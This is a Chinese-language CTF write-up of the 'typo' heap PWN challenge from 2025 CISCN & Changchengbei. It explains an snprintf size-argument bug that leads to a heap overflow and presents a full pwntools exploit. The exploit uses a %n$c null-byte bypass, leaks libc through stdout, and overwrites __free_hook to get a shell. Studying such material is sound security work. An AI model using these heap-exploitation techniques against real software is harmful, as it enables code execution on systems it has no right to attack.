2025 CISCN & 长城杯 PWN

typo

参考自 2025ciscn&长城杯 半决-pwn 部分解析-先知社区

当时天津半决赛比完后没来得及复现,最近的招商铸盾车联网CTF又出了原题,决定复现一下。

libc版本 2.31。

菜单有add、delete和edit函数,功能如下:

pVDkWB6.png

pVDkccR.png

pVDkgj1.png

漏洞分析

add中正常申请堆块,并且在堆块fd的位置写入了size。

delete中没有uaf漏洞。

漏洞在edit函数的snprinf函数中,看似对size作了大小校验,如果new_size > old_size的话,还是使用old_size来进行后续的read。这里漏洞就在于snprinf的参数有问题。

首先看一下snprintf的参数原型:

1
int snprintf(char *str, size_t size, const char *format, ...);
  • str: 目标缓冲区,用于存放格式化后的字符串。
  • size: 目标缓冲区的大小。这是 snprintf 安全性的关键,它确保最多只写入 size-1 字节,最后加一个空字符(\0),防止缓冲区溢出。
  • format: 格式化字符串,例如 "Name: %s, Age: %d"
  • ...: 可变参数,对应格式化字符串中的 %s, %d 等占位符。

简单来说,就是把format指向的内容写到str缓冲区里,写size个字节。

而在这题中:

1
snprintf(*((char **)&heap_list + (int)idx), (size_t)"%lu", new_size, 8LL);

第二个参数把"%lu"字符串直接强转成了size_t,这相当于直接用该字符串的地址当作了size,所以是一个相当大的数字。

调用的时候可以看到地址是相当大的数字。

pVDk5ND.png

而第一个参数是堆块的fd位置,所以,这里就会存在一个堆溢出,可以用来溢出修改后边堆块的size进而来进行堆块合并

但是还有一个问题,那就是,数据是在fd+8的位置开始的,所以要想从数据一直修改到后边堆块,需要先改fd,也就是存放size的地方,如果直接垃圾字符填充会导致size过大(这里修改自己的size是无所谓的),但是我们需要控制的是next_chunk的size和next_chunk的fd(用来对next_chunk进行edit,如果不改fd只改size在edit的时候还是没法溢出),我们想要填充到next_chunk的fd的话,就需要填充满next_chunk的size,如果直接填充垃圾字符到next_chunk的size的话会导致size过大而堆块size不够崩溃。所以需要控制next_chunk的size在合法区间,如0x421,但是这样就会填充\x00,而snprintf遇到\x00会截断,这样就填充不到next_chunk的size了。所以,这里参考大佬的博客,采用**%n$c**替代的方式。

通过:

1
2
def myencode(payload):
return payload.replace(b'\x00',b'%39$c')+b'\x00'

%39$c就是取栈上偏移39位置的低8字节数据来填充。

因为%39$c位置对应的字节是00,这样在snprintf读入的时候不会因为\x00而截断,在解析的时候会把%39$c解析成\x00进而读入合法的size。

这里在调试的时候有点问题(发现snprintf的参数在栈上的首偏移不是从6开始的,而是从8开始的)。下图是栈上的内存数据,其中四个位置分别对应**%31、%32、%33、%34**,然后%39对应的就是00。

pVDkI4e.png

构造%39修改后结果如图所示。

pVDkRnx.png

比如构造%31的话就是如图所示,00变成了0x25,也就是第31个位置的低8字节。

pVDkfHK.png

修改完成后,就可以进行堆块重叠了,因为没有show函数,所以需要爆破stdout来泄露libc。

方法就是构造tchache的fd和unsorted的fd重叠,所以依次free两个tcache chunk和修改size后的unsorted chunk,再add回来一个tcache就可以实现两个fd重叠了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
for i in range(10):
if i==2:
add(i,0x90)
continue
if i==6:
add(i,0x90)
continue
add(i,0x80)


add(10,0x80)
payload=p64(0x80)
payload=payload.ljust(0x88,b'a')
payload+=p64(0x4a1)
payload+=p64(0x490)

print(payload)
print(myencode(payload))

edit(0,myencode(payload),b'a')

delete(6)
delete(2)
delete(1)

add(1,0x80)

pVDk4AO.png

此时,tcache和unsorted虽然fd重叠了,但是没法进行修改,所以需要再次利用上边的方法溢出来修改刚申请的chunk的fd(也就是size数据)改大,再通过该tcache chunk溢出修改到重叠chunk的fd也就是stdout地址。

这里不能直接用snprintf溢出修改stdout地址,因为snprintf会在最后加个\x00导致stdout的低六位被改掉,而正常edit的read不会。

1
2
3
4
5
6
7
payload=p64(0x80)
payload=payload.ljust(0x88,b'a')
payload+=p64(0x91)
payload+=p64(0xa0)
edit(0,myencode(payload),b'a')
payload=b'a'*0x80+p64(0x401)+b'\x98'+b'\x26'
edit(1,str(9999),payload)

之后就是修改fd后四位成stdout-8的地址(本地关闭alsr后直接查看就行,我这里是0x9860),为什么要改成stdout-8呢,是因为add申请的时候会对fd写入size,如果直接申请到stdout,会把stdout的flag标志写成0x80这种size而导致崩溃。

之后泄露libc后,再通过前边同样的方法溢出修改tcache的fd到free_hook-8改成system即可。

注意最后写入binsh的时候,也要通过前边对溢出写,因为直接写是在fd+8而不是fd的位置。

1
2
3
4
5
payload=p64(0x80)
payload=payload.ljust(0x88,b'a')
payload+=p64(0x91)
payload+=b'/bin/sh\x00'
edit(0,myencode(payload),b'a')

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')

def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r(a):
return p.recv(a)
def ru(a):
return p.recvuntil(a)
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libc_base):
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

#p = remote('', )
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')

def myencode(payload):
return payload.replace(b'\x00',b'%39$c')+b'\x00'

def add(idx,size):
sla(">> ",'1')
sla("dex",str(idx))
sla("Size: ",str(size))

def delete(idx):
sla(">> ",'2')
sla("dex",str(idx))

def edit(idx,payload,data):
sla(">> ","3")
sla("dex",str(idx))
sla("size of",payload)
sa("say",data)


for i in range(10):
if i==2:
add(i,0x90)
continue
if i==6:
add(i,0x90)
continue
add(i,0x80)


add(10,0x80)
payload=p64(0x80)
payload=payload.ljust(0x88,b'a')
payload+=p64(0x4a1)
payload+=p64(0x490)
print(payload)
print(myencode(payload))
edit(0,myencode(payload),b'a')

delete(6)
delete(2)
delete(1)
add(1,0x80)

payload=p64(0x80)
payload=payload.ljust(0x88,b'a')
payload+=p64(0x91)
payload+=p64(0xa0)
edit(0,myencode(payload),b'a')
payload=b'a'*0x80+p64(0x401)+b'\x98'+b'\x26'
edit(1,str(9999),payload)

add(6,0x90)
add(2,0x90)
payload=p64(0xfbad1800)+p64(0)*3+b'\x00'
edit(2,str(9999),payload)

ru(b'\x00'*8)
libc_base = get_addr() -0x1ec980
success("libc_base: " + hex(libc_base))

libc.address = libc_base
system = libc.sym['system']
free_hook = libc.sym['__free_hook']
ordinal = libc_base + 0x1ecfd0

delete(9)
delete(1)
payload=p64(0x80)
payload=payload.ljust(0x88,b'a')
payload+=p64(0x91)
payload+=p64(free_hook - 8)
edit(0,myencode(payload),b'a')

add(11,0x80)
add(12,0x80)
edit(12,str(9999),p64(system))

payload=p64(0x80)
payload=payload.ljust(0x88,b'a')
payload+=p64(0x91)
payload+=b'/bin/sh\x00'
edit(0,myencode(payload),b'a')

delete(11)

p.interactive()